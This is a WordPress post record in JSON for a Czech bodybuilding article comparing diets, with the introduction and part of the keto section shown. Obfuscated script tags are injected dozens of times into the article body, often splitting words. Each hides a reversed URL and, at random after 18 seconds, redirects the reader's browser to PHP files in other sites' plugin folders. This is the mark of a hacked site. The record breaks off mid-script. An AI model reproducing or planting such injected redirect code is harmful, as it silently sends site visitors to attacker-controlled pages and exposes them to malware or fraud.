{"id":795,"date":"2022-10-24T07:46:24","date_gmt":"2022-10-24T07:46:24","guid":{"rendered":"https:\/\/www.svetkulturistiky.cz\/?p=795"},"modified":"2022-10-24T07:46:25","modified_gmt":"2022-10-24T07:46:25","slug":"valka-diet","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2022\/10\/24\/valka-diet\/","title":{"rendered":"V\u00c1LKA DIET"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\"><strong>Existuj\u00ed jich des\u00edtky, snad i s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovky \u2013 n\u011bkter\u00e9 z&nbsp;nich kr\u00e1tce zaz\u00e1\u0159ily a zase zmizely, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee v\u00edc slibovaly, ne\u017e fungovaly, jin\u00e9 se st\u00e1le dr\u017e\u00ed a maj\u00ed svoje p\u0159\u00edznivce. \u0158e\u010d je o diet\u00e1ch, stravovac\u00edch re\u017eimech nej\u010dast\u011bji hodnocen\u00fdch podle <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, jak pom\u00e1haj\u00ed lidem zhubnout. My jsme se ale na n\u011bkter\u00e9 z&nbsp;nich pod\u00edvali trochu jinou optikou \u2013 kulturistickou \u2013 a hodnotili jsme nejenom jejich schopnost stimulovat spalov\u00e1n\u00ed tuk\u016f, ale tak\u00e9 zachovat, pokud mo\u017eno, maximum svalov\u00e9 hmoty.<\/strong><\/h3>\n\n\n\n<p>V&nbsp;kulturistice a dal\u0161\u00edch fitness discipl\u00edn\u00e1ch plat\u00ed dvojn\u00e1sob, \u017ee strava napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to z\u00e1sadn\u00ed m\u011brou ovliv\u0148uje va\u0161i formu. V\u011bt\u0161inou <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to chce trochu experimen<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e1n\u00ed, ne\u017e p\u0159ijdete na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, jak\u00fd v\u00fd\u017eivov\u00fd sm\u011br nejl\u00e9pe vyhovuje pr\u00e1v\u011b v\u00e1m. Nenechte se tedy zm\u00e1st tvrzen\u00edm o <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, \u017ee je n\u011bjak\u00e1 dieta \u201enejlep\u0161\u00ed\u201c. Nen\u00ed! M\u016f\u017ee b\u00fdt nejlep\u0161\u00ed pro v\u00e1s, ale zdaleka nebude vyhovovat n\u00e1rok\u016fm n\u011bkoho jin\u00e9ho. Kdy\u017e se bude jednoho stravovac\u00edho pl\u00e1nu dr\u017eet p\u011bt r\u016fzn\u00fdch lid\u00ed, p\u0159inese <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to patero r\u016fzn\u00fdch v\u00fdsledk\u016f.<\/p>\n\n\n\n<p>Jedno ale plat\u00ed pro v\u0161echny \u2013 pokud m\u00e1te hledat funk\u010dn\u00ed j\u00eddeln\u00ed\u010dek, pot\u0159ebujete nejprve dostatek znalost\u00ed a odpov\u00eddaj\u00edc\u00ed pov\u011bdom\u00ed o jednotliv\u00fdch stravovac\u00edch principech. Pokusili jsme se z&nbsp;kulturistick\u00e9ho hlediska zhodnotit n\u011bkolik popul\u00e1rn\u00edch diet \u2013 ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>togenn\u00ed, low-carb (tzn. n\u00edzkosacharidovou), paleo, vysokoproteinovou, st\u0159edomo\u0159skou, IIFYM a p\u0159eru\u0161ovan\u00fd p\u016fst.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>KETO DIETA<\/strong><\/h2>\n\n\n\n<p>Tak jako se d\u0159\u00edve ocitly na pran\u00fd\u0159i tuky, jsou v&nbsp;posledn\u00edch desetilet\u00edch na \u010dern\u00e9 listin\u011b sacharidy. Jak jejich konzumace \u010di eliminace z&nbsp;j\u00eddeln\u00ed\u010dku ovlivn\u00ed spalov\u00e1n\u00ed tuk\u016f, v\u00fdkonnost a udr\u017een\u00ed svalov\u00e9 hmoty?<\/p>\n\n\n\n<p>Strava s&nbsp;omezen\u00fdm p\u0159\u00edjmem sacharid\u016f se v&nbsp;p\u0159edsout\u011b\u017en\u00ed p\u0159\u00edprav\u011b kulturist\u016f prosadila u\u017e v&nbsp;\u0161edes\u00e1t\u00fdch letech minul\u00e9ho s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolet\u00ed. A kdy\u017e dnes prolistujete p\u00e1r lifestylov\u00fdch \u010dasopis\u016f, naraz\u00edte hned na n\u011bkolik reklam spole\u010dnost\u00ed nab\u00edzej\u00edc\u00edch tzv. ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to dietu. Jde o stravu s&nbsp;tak n\u00edzk\u00fdm pod\u00edlem sacharid\u016f, \u017ee t\u011blo za\u010dne produkovat tzv. ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tony, tedy l\u00e1tky, kter\u00e9 p\u0159i nedostatku sacharid\u016f slou\u017e\u00ed jako zdroj energie pro udr\u017een\u00ed funkce mozku. Jestli\u017ee t\u011blu nedod\u00e1te gluk\u00f3zu pot\u0159ebnou pro spr\u00e1vn\u00e9 fungov\u00e1n\u00ed mozku, nastartuje produkci ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>ton\u016f coby alternativn\u00edho energetick\u00e9ho zdroje.&nbsp; T\u00edm jsou po\u0159e\u0161eny n\u00e1roky mozkov\u00e9 tk\u00e1n\u011b a ostatn\u00ed \u010d\u00e1sti t\u011bla mus\u00ed spol\u00e9hat na zdroj energie ve form\u011b tuk\u016f. Nemluv\u00edme tedy o strav\u011b, kter\u00e1 by v\u00e1s ochudila jen o p\u00e1r gram\u016f sacharid\u016f, ale o diet\u011b, p\u0159i kter\u00e9 se dostanete na d\u00e1vku 50 gram\u016f sacharid\u016f denn\u011b (nebo i m\u00e9n\u011b).<\/p>\n\n\n\n<p>Co <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to znamen\u00e1 pro spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce? P\u0159edev\u0161\u00edm pokles v\u00fdkonnosti, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee p\u0159i intenzivn\u00edm tr\u00e9ninku vyu\u017e\u00edv\u00e1 organismus jako prim\u00e1rn\u00ed zdroj energie sacharidy. Tuky nejsou tak rychle metabolizov\u00e1ny, tzn. nep\u0159em\u011bn\u00ed se na dostupnou energii v&nbsp;pot\u0159ebn\u00e9m \u010dase. T\u00edm p\u00e1dem mus\u00edte p\u0159i ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == 